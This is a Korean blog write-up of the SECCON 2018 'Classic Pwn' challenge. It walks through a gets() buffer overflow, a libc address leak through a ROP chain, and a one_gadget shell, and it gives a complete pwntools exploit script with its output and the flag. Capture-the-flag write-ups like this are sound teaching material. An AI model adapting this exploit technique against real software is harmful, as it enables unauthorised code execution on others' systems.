제리의 블로그

SECCON CTF 2018 quals Classic Pwn 본문

CTF/pwnable

SECCON CTF 2018 quals Classic Pwn

j3rrry 2018. 10. 28. 03:36

SECCON 2018 quals

Classic Pwn

121 pt

197 Solvers


요약

canary 가 없는 BOF 문제였으며
fastcall 방식의 함수 호출규약을 따르기 때문에 gadget 을 모은 다음
libc 주소를 leak 하고
one_gadget 을 사용하여 쉘을 획득한다.

leak 과 쉘 획득을 위한 공격을 동시에 하기 위해서는
main 함수로 return 하도록
chaining 을 통해 loop 를 만들어 준다.



Description

Host: classic.pwn.seccon.jp
Port: 17354

classic libc-2.23.so
$ sha1sum *
aa9e979fd5c597526ef30c003bffee474b314e22  classic
56d992a0342a67a887b8dcaae381d2cc51205253  libc-2.23.so




분석

$ checksec ./classic
[*] './classic'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
64비트 바이너리가 주어졌다.
특히 canary 가 없었다.


$ ./classic
Classic Pwnable Challenge
Local Buffer >>
실행시켜보면 입력을 받고 종료된다.



int main(int argc, const char **argv, const char **envp)
{
  char buf; // [sp+0h] [bp-40h]@1

  puts("Classic Pwnable Challenge");
  printf("Local Buffer >> ");
  gets(&buf);
  puts("Have a nice pwn!!");
  return 0;
}
바이너리는 위와 같다.
gets 함수로 입력을 받고
지역변수 buf 는 bp-0x40 에 위치한다.
canary 가 없기 때문에 BOF 가능하다.

libc 바이너리도 주어졌기 때문에
이 문제는 libc 주소를 leak 하는 문제라고 할 수 있다.

leak 을 하기 위한 출력 함수는 printf, puts 가 있고
본 Writeup 에서는 puts 를 이용한다.



.text:00000000004006D6                 mov     edi, offset aHaveANicePwn ; "Have a nice pwn!!"
.text:00000000004006DB                 call    _puts
위와 같이 puts 함수에 들어가는 인자를 edi 레지스터에 넣는 fastcall 방식을 사용하고 있기 때문에
pop; ret; gadget 을 이용하여 edi 에 넣어준다.



공격 코드

from pwn import *

context.arch = 'amd64'

e = ELF('./classic')
libc = ELF('./libc-2.23.so')
rop = ROP(e)
rop.raw(rop.rdi)                # pop rdi; ret;

r = remote('classic.pwn.seccon.jp', 17354)
r.recvuntil("Local Buffer >> ")

payload = ''
payload += 'A' * (0x40+8)       # dummy
payload += rop.chain()          # pop rdi; ret;
payload += p64(e.got.puts)      # puts@GOT
payload += p64(e.plt.puts+4)    # puts@plt
payload += p64(e.sym.main)      # loop
r.sendline(payload)

r.recvline()
PUTS_LIBC = u64(r.recvline().strip().ljust(8, '\0'))
libc.address = PUTS_LIBC - libc.sym.puts
log.success(hex(libc.address))  # leak

r.recvuntil("Local Buffer >> ")

payload = ''
payload += 'A' * (0x40+8)               # dummy
payload += p64(libc.address+0x45216)    # one_gadget
r.sendline(payload)

r.interactive()



플래그

$ python exploit.py
[*] './classic'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] './libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './classic'
[+] Opening connection to classic.pwn.seccon.jp on port 17354: Done
[+] 0x7effcb384000
[*] Switching to interactive mode
Have a nice pwn!!
$ ls
classic
flag.txt
$ cat flag.txt
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
$
[*] Closed connection to classic.pwn.seccon.jp port 17354


'CTF > pwnable' 카테고리의 다른 글

TUCTF 2018 PWN shella-easy  (0) 2018.11.26
picoCTF 2018 are you root? Binary Exploit  (0) 2018.11.02
hacklu CTF 2018 Baby Reverse  (0) 2018.10.16
picoCTF 2018 echo back Binary Exploitation  (0) 2018.10.16
picoCTF 2018 authenticate Binary Exploitation  (0) 2018.10.13
Comments